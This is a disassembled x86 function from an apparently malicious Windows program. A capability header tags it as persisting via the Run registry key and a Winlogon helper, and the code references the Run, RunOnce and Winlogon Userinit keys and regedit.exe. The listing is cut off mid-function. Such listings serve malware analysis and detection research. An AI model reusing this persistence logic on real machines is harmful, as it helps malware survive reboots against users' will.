Function at 0x40d241
Capabilities:
Persist via run registry key
Persist via winlogon helper dll registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
mov dword [ebp - 4], 0
push 0x14
call fcn.00434a3b
add esp, 4
mov dword [ebp - 8], eax
mov edi, eax
mov esi, 0x4d1643
lodsd eax, dword [esi]
stosd dword es:[edi], eax
lodsd eax, dword [esi]
stosd dword es:[edi], eax
xor eax, eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov dword [ebp - 0xc], 0
push 8
call fcn.00434a3b
add esp, 4
mov dword [ebp - 0x10], eax
mov edi, eax
mov esi, 0x4b01ac
lodsd eax, dword [esi]
stosd dword es:[edi], eax
lodsd eax, dword [esi]
stosd dword es:[edi], eax
mov dword [ebp - 0x14], 0
push 0x14
call fcn.00434a3b
add esp, 4
mov dword [ebp - 0x18], eax
mov ebx, eax
mov edi, eax
xor eax, eax
mov ecx, 5
rep stosd dword es:[edi], eax
add ebx, 0xc
push ebx
push 0x108
call fcn.00434a3b
add esp, 4
pop ebx
mov dword [ebx], eax
mov edi, eax
mov esi, 0x4b0206
lodsd eax, dword [esi]
stosd dword es:[edi], eax
lodsd eax, dword [esi]
stosd dword es:[edi], eax
xor eax, eax
mov ecx, 0x40
rep stosd dword es:[edi], eax
add ebx, 4
push ebx
push 0x58
call fcn.00434a3b
add esp, 4
pop ebx
mov dword [ebx], eax
mov edi, eax
mov esi, 0x4b020e
lodsd eax, dword [esi]
stosd dword es:[edi], eax
lodsd eax, dword [esi]
stosd dword es:[edi], eax
xor eax, eax
mov ecx, 0x14
rep stosd dword es:[edi], eax
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x20], 0
push 8
call fcn.00434a3b
add esp, 4
mov dword [ebp - 0x24], eax
mov edi, eax
mov esi, 0x4b01ac
lodsd eax, dword [esi]
stosd dword es:[edi], eax
lodsd eax, dword [esi]
stosd dword es:[edi], eax
mov dword [ebp - 0x28], 0
push 8
call fcn.00434a3b
add esp, 4
mov dword [ebp - 0x2c], eax
mov edi, eax
mov esi, 0x4b01ac
lodsd eax, dword [esi]
stosd dword es:[edi], eax
lodsd eax, dword [esi]
stosd dword es:[edi], eax
push 0x20004
push 0x1601006d
push 0x52010001
push 1
mov eax, 1
mov ebx, 0x486280
call fcn.00434a5f
add esp, 0x10
push 0
push 1
push 0xffffffffffffffff
push 2
push 0x260112c7
push 0x52010001
call fcn.00434a4d
add esp, 0x18
mov dword [ebp - 0x30], esp
push dword [ebp - 4]
mov eax, 0
call fcn.00434a59
cmp dword [ebp - 0x30], esp
je 0x40d3b7
push 6
call fcn.00434a53
add esp, 4
mov dword [ebp - 0x30], esp
push 0
push 0
push 0x18
push 0x20
push 0x20
mov eax, 1
call fcn.00434a59
cmp dword [ebp - 0x30], esp
je 0x40d3ef
push 6
call fcn.00434a53
add esp, 4
mov dword [ebp - 4], eax
push 0x80000301
push 0
push dword [ebp - 4]
push 0x80000301
push 0
push 1
push 0x80000301
push 0
push 0x1003
push 0x20004
push 0x1601006d
push 0x52010001
push 4
mov ebx, 0x437c90
call fcn.00434a41
add esp, 0x34
push 0xffffffffffffffff
push 0xb
push 0x1601006d
push 0x52010001
call fcn.00434a47
add esp, 0x10
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x34], esp
push dword [ebp - 0x30]
push dword [ebp - 4]
mov eax, 2
call fcn.00434a59
cmp dword [ebp - 0x34], esp
je 0x40d473
push 6
call fcn.00434a53
add esp, 4
mov ebx, dword [ebp - 8]
call fcn.00401232
mov eax, 0
cmp eax, ecx
jl 0x40d491
push 1
call fcn.00434a53
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x30], ebx
mov eax, str.SOFTWAREMicrosoftWindowsCurrentVersionRun
push eax
mov ebx, dword [ebp - 0x30]
mov ebx, dword [ebx]
test ebx, ebx
je 0x40d4b1
push ebx
call fcn.00434a35
add esp, 4
pop eax
mov ebx, dword [ebp - 0x30]
mov dword [ebx], eax
mov ebx, dword [ebp - 8]
call fcn.00401232
mov eax, 1
cmp eax, ecx
jl 0x40d4d5
push 1
call fcn.00434a53
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x30], ebx
mov eax, str.SOFTWAREMicrosoftWindowsCurrentVersionRunOnce
push eax
mov ebx, dword [ebp - 0x30]
mov ebx, dword [ebx]
test ebx, ebx
je 0x40d4f5
push ebx
call fcn.00434a35
add esp, 4
pop eax
mov ebx, dword [ebp - 0x30]
mov dword [ebx], eax
xor ecx, ecx
lea eax, [ebp - 0xc]
mov ebx, eax
inc ecx
push ecx
push ebx
mov dword [ebx], ecx
cmp ecx, 2
jg 0x40e144
mov ebx, dword [ebp - 8]
call fcn.00401232
push ebx
push ecx
mov eax, dword [ebp - 0xc]
dec eax
jns 0x40d52d
push 4
call fcn.00434a53
add esp, 4
pop ecx
pop ebx
cmp eax, ecx
jl 0x40d540
push 1
call fcn.00434a53
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x30], ebx
lea eax, [ebp - 0x10]
push eax
push dword [ebp - 0x30]
push reloc.OLEAUT32.dll_SysReAllocString
call fcn.00413b55
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 0xffffffff
je 0x40e13d
mov ebx, dword [ebp - 0x10]
call fcn.0040325a
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 0
jle 0x40e13d
mov ebx, 0xc
call fcn.0040122a
push VariantClear
push 0
push 0x4d149b
push 0
push 0
push 0
push 0x20004
push 0x1601006d
push 0x52010001
push 7
mov eax, 1
mov ebx, 0x486160
call fcn.00434a5f
add esp, 0x58
mov dword [ebp - 0x14], eax
push VariantClear
push 0
push str.windir
push 1
mov ebx, 0x4352f0
call fcn.00434a41
add esp, 0x10
mov dword [ebp - 0x30], eax
push str._regedit.exe
push dword [ebp - 0x30]
mov ecx, 2
call fcn.004011ce
add esp, 8
mov dword [ebp - 0x34], eax
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x40d609
push ebx
call fcn.00434a35
add esp, 4
push VariantClear
push 0
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x40d61c
mov eax, 0x4b0200
push eax
push 0x80000301
push 0
push 4
push 0x80000301
push 0
push dword [ebp - 0x14]
push 0x20004
push 0x1601006d
push 0x52010001
push 4
mov eax, 1
mov ebx, 0x486060
call fcn.00434a5f
add esp, 0x34
mov ebx, dword [ebp - 0x34]
test ebx, ebx
je 0x40d669
push ebx
call fcn.00434a35
add esp, 4
push VariantClear
push 0
push str.windir
push 1
mov ebx, 0x4352f0
call fcn.00434a41
add esp, 0x10
mov dword [ebp - 0x30], eax
push str._regedit.exe
push dword [ebp - 0x30]
mov ecx, 2
call fcn.004011ce
add esp, 8
mov dword [ebp - 0x34], eax
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x40d6b2
push ebx
call fcn.00434a35
add esp, 4
mov dword [ebp - 0x38], esp
push 0x100
push 0x15c
mov eax, dword [ebp - 0x18]
push eax
push 0x15c
call fcn.00434a3b
add esp, 4
mov edi, eax
pop ebx
push eax
mov dword [ebp - 0x40], ebx
mov dword [ebp - 0x3c], eax
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
push ebx
mov ebx, dword [ebx]
add ebx, 8
mov ecx, 0x100
mov esi, ebx
rep movsb byte es:[edi], byte [esi]
pop ebx
add ebx, 4
push ebx
mov ebx, dword [ebx]
add ebx, 8
mov ecx, 0x50
mov esi, ebx
rep movsb byte es:[edi], byte [esi]
pop ebx
add ebx, 4
push 0x80
push dword [ebp - 0x34]
mov eax, 6
call fcn.00434a59
cmp dword [ebp - 0x38], esp
je 0x40d748
push 6
call fcn.00434a53
add esp, 4
push eax
mov ebx, dword [ebp - 0x3c]
push ebx
mov edi, dword [ebp - 0x40]
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
push ebx
push edi
push 1
mov eax, 2
call fcn.00434a2f
add esp, 4
pop edi
pop ebx
push ebx
push edi
mov edi, dword [edi]
mov ecx, dword [edi]
add edi, 4
test ecx, ecx
je 0x40d79d
mov eax, dword [edi]
add edi, 4
dec ecx
je 0x40d79b
imul eax, dword [edi]
jmp 0x40d790
mov ecx, eax
cmp ecx, 0x100
jle 0x40d7aa
mov ecx, 0x100
mov esi, ebx
rep movsb byte es:[edi], byte [esi]
pop edi
pop ebx
add edi, 4
add ebx, 0x100
push ebx
push edi
push 1
mov eax, 2
call fcn.00434a2f
add esp, 4
pop edi
pop ebx
push ebx
push edi
mov edi, dword [edi]
mov ecx, dword [edi]
add edi, 4
test ecx, ecx
je 0x40d7e8
mov eax, dword [edi]
add edi, 4
dec ecx
je 0x40d7e6
imul eax, dword [edi]
jmp 0x40d7db
mov ecx, eax
cmp ecx, 0x50
jle 0x40d7f2
mov ecx, 0x50
mov esi, ebx
rep movsb byte es:[edi], byte [esi]
pop edi
pop ebx
add edi, 4
add ebx, 0x50
call fcn.00434a35
add esp, 4
pop eax
mov dword [ebp - 0x44], eax
mov ebx, dword [ebp - 0x34]
test ebx, ebx
je 0x40d81a
push ebx
call fcn.00434a35
add esp, 4
cmp dword [ebp - 0x44], 0
jne 0x40d9d2
push VariantClear
push 0
push str.windir
push 1
mov ebx, 0x4352f0
call fcn.00434a41
add esp, 0x10
mov dword [ebp - 0x30], eax
push str._regedit.exe
push dword [ebp - 0x30]
mov ecx, 2
call fcn.004011ce
add esp, 8
mov dword [ebp - 0x34], eax
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x40d86d
push ebx
call fcn.00434a35
add esp, 4
mov dword [ebp - 0x38], esp
push 0x111
push 0x15c
mov eax, dword [ebp - 0x18]
push eax
push 0x15c
call fcn.00434a3b
add esp, 4
mov edi, eax
pop ebx
push eax
mov dword [ebp - 0x40], ebx
mov dword [ebp - 0x3c], eax
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
push ebx
mov ebx, dword [ebx]
add ebx, 8
mov ecx, 0x100
mov esi, ebx
rep movsb byte es:[edi], byte [esi]
pop ebx
add ebx, 4
push ebx
mov ebx, dword [ebx]
add ebx, 8
mov ecx, 0x50
mov esi, ebx
rep movsb byte es:[edi], byte [esi]
pop ebx
add ebx, 4
push 0x80
push dword [ebp - 0x34]
mov eax, 6
call fcn.00434a59
cmp dword [ebp - 0x38], esp
je 0x40d903
push 6
call fcn.00434a53
add esp, 4
push eax
mov ebx, dword [ebp - 0x3c]
push ebx
mov edi, dword [ebp - 0x40]
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
push ebx
push edi
push 1
mov eax, 2
call fcn.00434a2f
add esp, 4
pop edi
pop ebx
push ebx
push edi
mov edi, dword [edi]
mov ecx, dword [edi]
add edi, 4
test ecx, ecx
je 0x40d958
mov eax, dword [edi]
add edi, 4
dec ecx
je 0x40d956
imul eax, dword [edi]
jmp 0x40d94b
mov ecx, eax
cmp ecx, 0x100
jle 0x40d965
mov ecx, 0x100
mov esi, ebx
rep movsb byte es:[edi], byte [esi]
pop edi
pop ebx
add edi, 4
add ebx, 0x100
push ebx
push edi
push 1
mov eax, 2
call fcn.00434a2f
add esp, 4
pop edi
pop ebx
push ebx
push edi
mov edi, dword [edi]
mov ecx, dword [edi]
add edi, 4
test ecx, ecx
je 0x40d9a3
mov eax, dword [edi]
add edi, 4
dec ecx
je 0x40d9a1
imul eax, dword [edi]
jmp 0x40d996
mov ecx, eax
cmp ecx, 0x50
jle 0x40d9ad
mov ecx, 0x50
mov esi, ebx
rep movsb byte es:[edi], byte [esi]
pop edi
pop ebx
add edi, 4
add ebx, 0x50
call fcn.00434a35
add esp, 4
pop eax
mov ebx, dword [ebp - 0x34]
test ebx, ebx
je 0x40d9d2
push ebx
call fcn.00434a35
add esp, 4
mov ebx, dword [ebp - 0x18]
mov dword [ebp - 0x30], ebx
mov dword [ebp - 0x34], esp
mov ebx, dword [ebp - 0x30]
push dword [ebx]
push dword [ebp - 4]
mov eax, 7
call fcn.00434a59
cmp dword [ebp - 0x34], esp
je 0x40d9ff
push 6
call fcn.00434a53
add esp, 4
push 0x80000301
push 0
push eax
push 0
push 0
push 0
push 0x80000301
push 0
push dword [ebp - 0x14]
push 0x20004
push 0x1601006d
push 0x52010001
push 4
mov eax, 1
mov ebx, 0x486080
call fcn.00434a5f
add esp, 0x34
mov ebx, dword [ebp - 0x10]
call fcn.0040325a
xor ecx, ecx
push eax
lea eax, [ebp - 0x1c]
mov ebx, eax
pop eax
inc ecx
push ecx
push ebx
mov dword [ebx], ecx
push eax
cmp ecx, eax
jg 0x40e13a
call fcn.0040bc84
mov ebx, dword [ebp - 8]
call fcn.00401232
push ebx
push ecx
mov eax, dword [ebp - 0xc]
dec eax
jns 0x40da7e
push 4
call fcn.00434a53
add esp, 4
pop ecx
pop ebx
cmp eax, ecx
jl 0x40da91
push 1
call fcn.00434a53
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x30], ebx
mov ebx, dword [ebp - 0x10]
call fcn.00401232
push ebx
push ecx
mov eax, dword [ebp - 0x1c]
dec eax
jns 0x40dab6
push 4
call fcn.00434a53
add esp, 4
pop ecx
pop ebx
cmp eax, ecx
jl 0x40dac9
push 1
call fcn.00434a53
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x34], ebx
mov ebx, dword [ebp - 0x34]
push dword [ebx]
push 0x4b04ce
mov ebx, dword [ebp - 0x30]
push dword [ebx]
mov ecx, 3
call fcn.004011ce
add esp, 0xc
mov dword [ebp - 0x38], eax
push 0
push 0
push 0
push VariantClear
push 0
mov eax, dword [ebp - 0x38]
test eax, eax
jne 0x40db09
mov eax, 0x4b0200
push eax
push 0x80000301
push 0
push 4
push 3
mov ebx, 0x437570
call fcn.00434a41
add esp, 0x28
mov dword [ebp - 0x3c], eax
mov ebx, dword [ebp - 0x38]
test ebx, ebx
je 0x40db3b
push ebx
call fcn.00434a35
add esp, 4
mov eax, dword [ebp - 0x3c]
push eax
mov ebx, dword [ebp - 0x20]
test ebx, ebx
je 0x40db4f
push ebx
call fcn.00434a35
add esp, 4
pop eax
mov dword [ebp - 0x20], eax
push VariantClear
push 0
mov eax, dword [ebp - 0x20]
test eax, eax
jne 0x40db66
mov eax, 0x4b0200
push eax
push 1
mov ebx, 0x436a40
call fcn.00434a41
add esp, 0x10
and eax, 1
xor eax, 1
test eax, eax
je 0x40dbab
lea eax, [ebp - 0x20]
push eax
call fcn.00413f77
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x30]
push eax
mov ebx, dword [ebp - 0x20]
test ebx, ebx
je 0x40dba7
push ebx
call fcn.00434a35
add esp, 4
pop eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x30], esp
push 0x100
push 0x15c
mov eax, dword [ebp - 0x18]
push eax
push 0x15c
call fcn.00434a3b
add esp, 4
mov edi, eax
pop ebx
push eax
mov dword [ebp - 0x38], ebx
mov dword [ebp - 0x34], eax
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
push ebx
mov ebx, dword [ebx]
add ebx, 8
mov ecx, 0x100
mov esi, ebx
rep movsb byte es:[edi], byte [esi]
pop ebx
add ebx, 4
push ebx
mov ebx, dword [ebx]
add ebx, 8
mov ecx, 0x50
mov esi, ebx
rep movsb byte es:[edi], byte [esi]
pop ebx
add ebx, 4
push 0x80
push dword [ebp - 0x20]
mov eax, 6
call fcn.00434a59
cmp dword [ebp - 0x30], esp
je 0x40dc41
push 6
call fcn.00434a53
add esp, 4
push eax
mov ebx, dword [ebp - 0x34]
push ebx
mov edi, dword [ebp - 0x38]
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
push ebx
push edi
push 1
mov eax, 2
call fcn.00434a2f
add esp, 4
pop edi
pop ebx
push ebx
push edi
mov edi, dword [edi]
mov ecx, dword [edi]
add edi, 4
test ecx, ecx
je 0x40dc96
mov eax, dword [edi]
add edi, 4
dec ecx
je 0x40dc94
imul eax, dword [edi]
jmp 0x40dc89
mov ecx, eax
cmp ecx, 0x100
jle 0x40dca3
mov ecx, 0x100
mov esi, ebx
rep movsb byte es:[edi], byte [esi]
pop edi
pop ebx
add edi, 4
add ebx, 0x100
push ebx
push edi
push 1
mov eax, 2
call fcn.00434a2f
add esp, 4
pop edi
pop ebx
push ebx
push edi
mov edi, dword [edi]
mov ecx, dword [edi]
add edi, 4
test ecx, ecx
je 0x40dce1
mov eax, dword [edi]
add edi, 4
dec ecx
je 0x40dcdf
imul eax, dword [edi]
jmp 0x40dcd4
mov ecx, eax
cmp ecx, 0x50
jle 0x40dceb
mov ecx, 0x50
mov esi, ebx
rep movsb byte es:[edi], byte [esi]
pop edi
pop ebx
add edi, 4
add ebx, 0x50
call fcn.00434a35
add esp, 4
pop eax
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 0
jne 0x40de62
mov dword [ebp - 0x30], esp
push 0x111
push 0x15c
mov eax, dword [ebp - 0x18]
push eax
push 0x15c
call fcn.00434a3b
add esp, 4
mov edi, eax
pop ebx
push eax
mov dword [ebp - 0x38], ebx
mov dword [ebp - 0x34], eax
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
push ebx
mov ebx, dword [ebx]
add ebx, 8
mov ecx, 0x100
mov esi, ebx
rep movsb byte es:[edi], byte [esi]
pop ebx
add ebx, 4
push ebx
mov ebx, dword [ebx]
add ebx, 8
mov ecx, 0x50
mov esi, ebx
rep movsb byte es:[edi], byte [esi]
pop ebx
add ebx, 4
push 0x80
push dword [ebp - 0x20]
mov eax, 6
call fcn.00434a59
cmp dword [ebp - 0x30], esp
je 0x40dda3
push 6
call fcn.00434a53
add esp, 4
push eax
mov ebx, dword [ebp - 0x34]
push ebx
mov edi, dword [ebp - 0x38]
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
push ebx
push edi
push 1
mov eax, 2
call fcn.00434a2f
add esp, 4
pop edi
pop ebx
push ebx
push edi
mov edi, dword [edi]
mov ecx, dword [edi]
add edi, 4
test ecx, ecx
je 0x40ddf8
mov eax, dword [edi]
add edi, 4
dec ecx
je 0x40ddf6
imul eax, dword [edi]
jmp 0x40ddeb
mov ecx, eax
cmp ecx, 0x100
jle 0x40de05
mov ecx, 0x100
mov esi, ebx
rep movsb byte es:[edi], byte [esi]
pop edi
pop ebx
add edi, 4
add ebx, 0x100
push ebx
push edi
push 1
mov eax, 2
call fcn.00434a2f
add esp, 4
pop edi
pop ebx
push ebx
push edi
mov edi, dword [edi]
mov ecx, dword [edi]
add edi, 4
test ecx, ecx
je 0x40de43
mov eax, dword [edi]
add edi, 4
dec ecx
je 0x40de41
imul eax, dword [edi]
jmp 0x40de36
mov ecx, eax
cmp ecx, 0x50
jle 0x40de4d
mov ecx, 0x50
mov esi, ebx
rep movsb byte es:[edi], byte [esi]
pop edi
pop ebx
add edi, 4
add ebx, 0x50
call fcn.00434a35
add esp, 4
pop eax
mov ebx, dword [ebp - 0x10]
call fcn.00401232
push ebx
push ecx
mov eax, dword [ebp - 0x1c]
dec eax
jns 0x40de7f
push 4
call fcn.00434a53
add esp, 4
pop ecx
pop ebx
cmp eax, ecx
jl 0x40de92
push 1
call fcn.00434a53
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x30], ebx
mov ebx, dword [ebp - 0x18]
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x38], esp
mov ebx, dword [ebp - 0x34]
push dword [ebx]
push dword [ebp - 4]
mov eax, 7
call fcn.00434a59
cmp dword [ebp - 0x38], esp
je 0x40dec7
push 6
call fcn.00434a53
add esp, 4
mov dword [ebp - 0x3c], eax
push 0x80000301
push 0
push 1
push 0x80000301
push 0
push 1
push 0
push 0
push 0
push 0x80000301
push 0
push dword [ebp - 0x3c]
push VariantClear
push 0
mov ebx, dword [ebp - 0x30]
mov eax, dword [ebx]
test eax, eax
jne 0x40df07
mov eax, 0x4b0200
push eax
push 0
push 0
push 0
push 0x20004
push 0x1601006d
push 0x52010001
push 7
mov eax, 1
mov ebx, 0x486160
call fcn.00434a5f
add esp, 0x58
mov dword [ebp - 0x14], eax
push VariantClear
push 0
mov eax, dword [ebp - 0x20]
test eax, eax
jne 0x40df4a
mov eax, 0x4b0200
push eax
push 0x80000301
push 0
push 2
push 0x80000301
push 0
push dword [ebp - 0x14]
push 0x20004
push 0x1601006d
push 0x52010001
push 4
mov eax, 1
mov ebx, 0x486060
call fcn.00434a5f
add esp, 0x34
push VariantClear
push 0
mov eax, dword [ebp - 0x20]
test eax, eax
jne 0x40df9a
mov eax, 0x4b0200
push eax
push 0x80000301
push 0
push 4
push 0x80000301
push 0
push dword [ebp - 0x14]
push 0x20004
push 0x1601006d
push 0x52010001
push 4
mov eax, 1
mov ebx, 0x486060
call fcn.00434a5f
add esp, 0x34
mov dword [ebp - 0x30], 0
push 0
push dword [ebp - 0x30]
lea eax, [ebp - 0x20]
push eax
call fcn.00403ae9
mov dword [ebp - 0x34], eax
push VariantClear
push 0
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x40e002
mov eax, 0x4b0200
push eax
push 0x80000301
push 0
push 3
push 0x80000301
push 0
push dword [ebp - 0x14]
push 0x20004
push 0x1601006d
push 0x52010001
push 4
mov eax, 1
mov ebx, 0x486060
call fcn.00434a5f
add esp, 0x34
mov ebx, dword [ebp - 0x34]
test ebx, ebx
je 0x40e04f
push ebx
call fcn.00434a35
add esp, 4
lea eax, [ebp - 0x20]
push eax
call fcn.00414d87
test eax, eax
je 0x40e0a8
push VariantClear
push 0
push 0x4d14b8
push 0x80000301
push 0
push 1
push 0x80000301
push 0
push dword [ebp - 0x14]
push 0x20004
push 0x1601006d
push 0x52010001
push 4
mov eax, 1
mov ebx, 0x486060
call fcn.00434a5f
add esp, 0x34
mov ebx, dword [ebp - 8]
call fcn.00401232
push ebx
push ecx
mov eax, dword [ebp - 0xc]
dec eax
jns 0x40e0c5
push 4
call fcn.00434a53
add esp, 4
pop ecx
pop ebx
cmp eax, ecx
jl 0x40e0d8
push 1
call fcn.00434a53
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x30], ebx
push VariantClear
push 0
mov ebx, dword [ebp - 0x30]
mov eax, dword [ebx]
test eax, eax
jne 0x40e0f5
mov eax, 0x4b0200
push eax
push 0x80000301
push 0
push 5
push 0x80000301
push 0
push dword [ebp - 0x14]
push 0x20004
push 0x1601006d
push 0x52010001
push 4
mov eax, 1
mov ebx, 0x486060
call fcn.00434a5f
add esp, 0x34
pop eax
pop ebx
pop ecx
jmp 0x40da4e
add esp, 0xc
pop ebx
pop ecx
jmp 0x40d502
add esp, 8
push 0
push 0
push 0
push VariantClear
push 0
push str.SOFTWAREMicrosoftWindows_NTCurrentVersionWinlogonUserinit
push 0x80000301
push 0
push 4
push 3
mov ebx, 0x437570
call fcn.00434a41
add esp, 0x28
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x30]
push eax
mov ebx, dword [ebp - 0x20]
test ebx, ebx
je 0x40e18e
push ebx
call fcn.00434a35
add esp, 4
pop eax
mov dword [ebp - 0x20], eax
push VariantClear
push 0
push str.windir
push 1
mov ebx, 0x4352f0
call fcn.00434a41
add esp, 0x10
mov dword [ebp - 0x30], eax
push str._system32userinit.exe_
push dword [ebp - 0x30]
mov ecx, 2
call fcn.004011ce
add esp, 8
mov dword [ebp - 0x34], eax
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x40e1db
push ebx
call fcn.00434a35
add esp, 4
mov eax, dword [ebp - 0x34]
push eax
push dword [ebp - 0x20]
call fcn.00404bc4
add esp, 8
cmp eax, 0
mov eax, 0
setne al
mov dword [ebp - 0x38], eax
mov ebx, dword [ebp - 0x34]
test ebx, ebx
je 0x40e208
push ebx
call fcn.00434a35
add esp, 4
cmp dword [ebp - 0x38], 0
je 0x40ef30
mov ebx, 0xc
call fcn.0040122a
push VariantClear
push 0
push 0x4d1516
push 0
push 0
push 0
push 0x20004
push 0x1601006d
push 0x52010001
push 7
mov eax, 1
mov ebx, 0x486160
call fcn.00434a5f
add esp, 0x58
mov dword [ebp - 0x14], eax
push VariantClear
push 0
push str.windir
push 1
mov ebx, 0x4352f0
call fcn.00434a41
add esp, 0x10
mov dword [ebp - 0x30], eax
push str._regedit.exe
push dword [ebp - 0x30]
mov ecx, 2
call fcn.004011ce
add esp, 8
mov dword [ebp - 0x34], eax
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x40e2a0
push ebx
call fcn.00434a35
add esp, 4
push VariantClear
push 0
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x40e2b3
mov eax, 0x4b0200
push eax
push 0x80000301
push 0
push 4
push 0x80000301
push 0
push dword [ebp - 0x14]
push 0x20004
push 0x1601006d
push 0x52010001
push 4
mov eax, 1
mov ebx, 0x486060
call fcn.00434a5f
add esp, 0x34
mov ebx, dword [ebp - 0x34]
test ebx, ebx
je 0x40e300
push ebx
call fcn.00434a35
add esp, 4
push VariantClear
push 0
push str.windir
push 1
mov ebx, 0x4352f0
call fcn.00434a41
add esp, 0x10
mov dword [ebp - 0x30], eax
push str._regedit.exe
push dword [ebp - 0x30]
mov ecx, 2
call fcn.004011ce
add esp, 8
mov dword [ebp - 0x34], eax
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x40e349
push ebx
call fcn.00434a35
add esp, 4
mov dword [ebp - 0x38], esp
push 0x100
push 0x15c
mov eax, dword [ebp - 0x18]
push eax
push 0x15c
call fcn.00434a3b
add esp, 4
mov edi, eax
pop ebx
push eax
mov dword [ebp - 0x40], ebx
mov dword [ebp - 0x3c], eax
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
push ebx
mov ebx, dword [ebx]
add ebx, 8
mov ecx, 0x100
mov esi, ebx
rep movsb byte es:[edi], byte [esi]
pop ebx
add ebx, 4
push ebx
mov ebx, dword [ebx]
add ebx, 8
mov ecx, 0x50
mov esi, ebx
rep movsb byte es:[edi], byte [esi]
pop ebx
add ebx, 4
push 0x80
push dword [ebp - 0x34]
mov eax, 6
call fcn.00434a59
cmp dword [ebp - 0x38], esp
je 0x40e3df
push 6
call fcn.00434a53
add esp, 4
push eax
mov ebx, dword [ebp - 0x3c]
push ebx
mov edi, dword [ebp - 0x40]
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
push ebx
push edi
push 1
mov eax, 2
call fcn.00434a2f
add esp, 4
pop edi
pop ebx
push ebx
push edi
mov edi, dword [edi]
mov ecx, dword [edi]
add edi, 4
test ecx, ecx
je 0x40e434
mov eax, dword [edi]
add edi, 4
dec ecx
je 0x40e432
imul eax, dword [edi]
jmp 0x40e427
mov ecx, eax
cmp ecx, 0x100
jle 0x40e441
mov ecx, 0x100
mov esi, ebx
rep movsb byte es:[edi], byte [esi]
pop edi
pop ebx
add edi, 4
add ebx, 0x100
push ebx
push edi
push 1
mov eax, 2
call fcn.00434a2f
add esp, 4
pop edi
pop ebx
push ebx
push edi
mov edi, dword [edi]
mov ecx, dword [edi]
add edi, 4
test ecx, ecx
je 0x40e47f
mov eax, dword [edi]
add edi, 4
dec ecx
je 0x40e47d
imul eax, dword [edi]
jmp 0x40e472
mov ecx, eax
cmp ecx, 0x50
jle 0x40e489
mov ecx, 0x50
mov esi, ebx
rep movsb byte es:[edi], byte [esi]
pop edi
pop ebx
add edi, 4
add ebx, 0x50
call fcn.00434a35
add esp, 4
pop eax
mov dword [ebp - 0x44], eax
mov ebx, dword [ebp - 0x34]
test ebx, ebx
je 0x40e4b1
push ebx
call fcn.00434a35
add esp, 4
cmp dword [ebp - 0x44], 0
jne 0x40e669
push VariantClear
push 0
push str.windir
push 1
mov ebx, 0x4352f0
call fcn.00434a41
add esp, 0x10
mov dword [ebp - 0x30], eax
push str._regedit.exe
push dword [ebp - 0x30]
mov ecx, 2
call fcn.004011ce
add esp, 8
mov dword [ebp - 0x34], eax
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x40e504
push ebx
call fcn.00434a35
add esp, 4
mov dword [ebp - 0x38], esp
push 0x111
